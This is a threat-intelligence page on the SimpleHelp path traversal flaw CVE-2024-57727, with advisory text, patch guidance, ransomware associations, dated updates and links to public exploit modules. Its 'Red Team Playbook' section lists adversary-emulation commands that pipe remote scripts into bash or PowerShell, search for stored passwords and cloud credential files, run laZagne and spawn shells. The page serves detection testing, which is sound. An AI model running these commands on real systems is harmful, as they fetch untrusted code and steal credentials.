CVE-2024-57727
Overview
This vulnerability is a path traversal flaw in SimpleHelp remote support software versions 5.5.7 and earlier. The root cause lies in insufficient validation of user-supplied input in HTTP request paths, allowing directory traversal sequences to access unauthorized files. The affected component is the HTTP server handling requests to the /toolbox-resource/ endpoint, which fails to properly sanitize relative path elements.
Vulnerability Description
SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
Impact
An unauthenticated attacker can exploit this vulnerability to download sensitive server configuration files containing secrets and hashed user passwords. No authentication or user interaction is required to perform this attack. The exposure of these files can lead to credential compromise, unauthorized access, and facilitate further attacks such as remote code execution when chained with other vulnerabilities. This results in potential data breaches and full system compromise within environments using affected SimpleHelp versions.
Solution
Apply the vendor-provided patches released on January 8, 2025, which address this path traversal vulnerability in SimpleHelp versions 5.5.x prior to 5.5.8, 5.4.x prior to 5.4.10, and 5.3.x prior to 5.3.9. Refer to the official SimpleHelp security advisory at https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier for detailed patch instructions and update procedures.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
dragonforce
|
582 | correlation_misp |
|
medusa
|
517 | ransomware.live |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in SimpleHelp remote support software versions up to 5.5.7 is characterized by multiple path traversal weaknesses. Path traversal vulnerabilities occur when an application improperly sanitizes user input, allowing attackers to manipulate file paths and access files outside the intended directory structure. In this case, unauthenticated remote attackers can exploit crafted HTTP requests to download arbitrary files from the host system. This includes sensitive server configuration files that may contain critical information such as secrets and hashed user passwords, significantly compromising the security of the affected systems.
Attack vectors for this vulnerability are straightforward, as they do not require any form of authentication. An attacker can initiate a request to the SimpleHelp server, appending directory traversal sequences (e.g., "../") to the file path in the request. By doing so, they can navigate the file system and access files that are typically restricted. Exploitation scenarios may involve an attacker targeting a vulnerable instance of SimpleHelp to obtain configuration files that could reveal database credentials, API keys, or user authentication data. This information can then be leveraged for further attacks, including lateral movement within the network or credential stuffing against other services.
The real-world impact of such vulnerabilities can be severe, particularly for organizations that rely on remote support software for their operations. The exposure of sensitive files can lead to unauthorized access to critical systems, data breaches, and potential financial losses. Businesses may face reputational damage, legal repercussions, and regulatory fines, especially if the compromised data includes personally identifiable information (PII) or payment information. The risk is amplified in environments where remote support tools are integrated with other systems, as attackers can use the information obtained to escalate privileges or pivot to more secure areas of the network.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the SimpleHelp software to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit path traversal vulnerabilities. Monitoring logs for unusual access patterns or unauthorized file downloads can also aid in early detection of exploitation attempts. Furthermore, organizations should conduct regular security assessments, including penetration testing, to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the path traversal vulnerabilities in SimpleHelp remote support software pose significant risks to organizations that utilize this tool. The ability for unauthenticated attackers to access sensitive files can lead to severe security incidents, making it imperative for organizations to prioritize timely updates, robust monitoring, and comprehensive security practices. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect their systems and sensitive data from potential exploitation.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-57727, evidenced by a recent surge in detection activity across multiple environments. This uptick coincides with the inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, further underscoring its operational relevance. Notably, the association of ransomware groups such as Medusa and Dragonforce with campaigns leveraging this flaw signals an increased risk of secondary impact through ransomware deployment following initial compromise. The availability of public proof-of-concept exploits and integration into widely used penetration testing frameworks has lowered the barrier for adversaries, likely contributing to the observed rise in exploitation attempts. Although the Exploit Prediction Scoring System (EPSS) score remains high and stable, the qualitative increase in telemetry suggests that threat actors are actively prioritizing this vector. Consequently, the threat level for organizations running vulnerable versions of SimpleHelp has intensified, elevating the urgency for detection and response capabilities tailored to this vulnerability’s exploitation patterns.
Update 2 — May 21, 2026
CSURFACE threat intelligence has identified a marked reduction in detection activity related to CVE-2024-57727 despite its recent elevation in CVSS severity from 7.5 to 9.1. This discrepancy suggests that while exploit attempts may be less frequent or more targeted, the vulnerability’s criticality has increased due to confirmed ransomware group associations, notably Medusa and Dragonforce, which have been linked with active campaigns leveraging this flaw. The inclusion of CVE-2024-57727 in the Known Exploited Vulnerabilities (KEV) catalog further underscores its strategic value to adversaries. Additionally, the availability of proof-of-concept exploits and integration into prominent penetration testing frameworks continues to lower the technical barrier for exploitation, maintaining a high EPSS score and stable exploitation likelihood. For defenders, this evolving landscape means that although broad scanning activity may have diminished, the risk of sophisticated, targeted intrusions exploiting this vulnerability remains elevated. Consequently, the overall threat level has intensified, emphasizing the need for vigilant monitoring and prioritization of this vulnerability within risk management frameworks.
Update 3 — June 09, 2026
Recent updates to CVE-2024-57727 reveal a downward revision of the CVSS score from 9.1 to 7.5, reflecting a recalibrated assessment of the vulnerability’s exploitability and impact. Despite this reduction, the EPSS score remains consistently high, indicating sustained exploitation potential. CSURFACE threat intelligence confirms that this vulnerability continues to be actively leveraged by ransomware groups such as Medusa and Dragonforce, underscoring its operational relevance in targeted campaigns. The inclusion of this CVE in the Known Exploited Vulnerabilities (KEV) catalog with ransomware use confirmed further elevates its priority within threat management frameworks. Our telemetry indicates a stable but persistent exploitation trend, with no significant surge or decline, suggesting that adversaries maintain steady interest without widespread opportunistic scanning. The availability of proof-of-concept exploits and integration into Metasploit continues to facilitate attacker access, lowering technical barriers despite the adjusted severity rating. For defenders, this nuanced shift means that while the immediate criticality may be somewhat moderated, the persistent ransomware associations and exploitation activity sustain a high threat level. Consequently, risk prioritization should remain stringent, with continued vigilance to detect and respond to targeted intrusion attempts exploiting this path traversal vulnerability.
Update 4 — July 05, 2026
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2024-57727, reflecting increased adversary interest and operational tempo. This uptick corresponds with heightened activity from ransomware groups such as Dragonforce and Medusa, reinforcing the vulnerability’s role as a favored vector for initial access in ransomware campaigns. The continued availability of proof-of-concept exploits and integration into widely used penetration testing frameworks sustains the ease of exploitation, which, combined with the observed escalation, elevates the overall threat posture. While the vulnerability’s CVSS rating remains high, the emerging exploitation trends underscore a persistent and growing risk that defenders must prioritize. This evolving landscape signals that attackers are intensifying efforts to leverage this path traversal flaw for unauthorized data exfiltration and lateral movement, thereby amplifying potential operational impact.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Simple-Help | Simplehelp | All |
cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
SimpleHelp Path Traversal Vulnerability CVE-2024-57727
auxiliary/scanner/http/simplehelp_toolbox_path_traversal
|
horizon3ai, imjdl, jheysel-r7 | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
imjdl/CVE-2024-57727
CVE-2024-57727
|
imjdl | 15 | 1 | 2025-01-17 | View |
Ransomware Groups 2
Threat Feed
14 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, AnyDesk, Atera, BITSAdmin, Cloudflared (517 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (582 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (582 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, AnyDesk, Atera, BITSAdmin, Cloudflared (517 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-57727 |
| horizon3.ai |
GitHub CVE
|
https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/ |
| simple-help.com |
GitHub CVE
|
https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-57727 |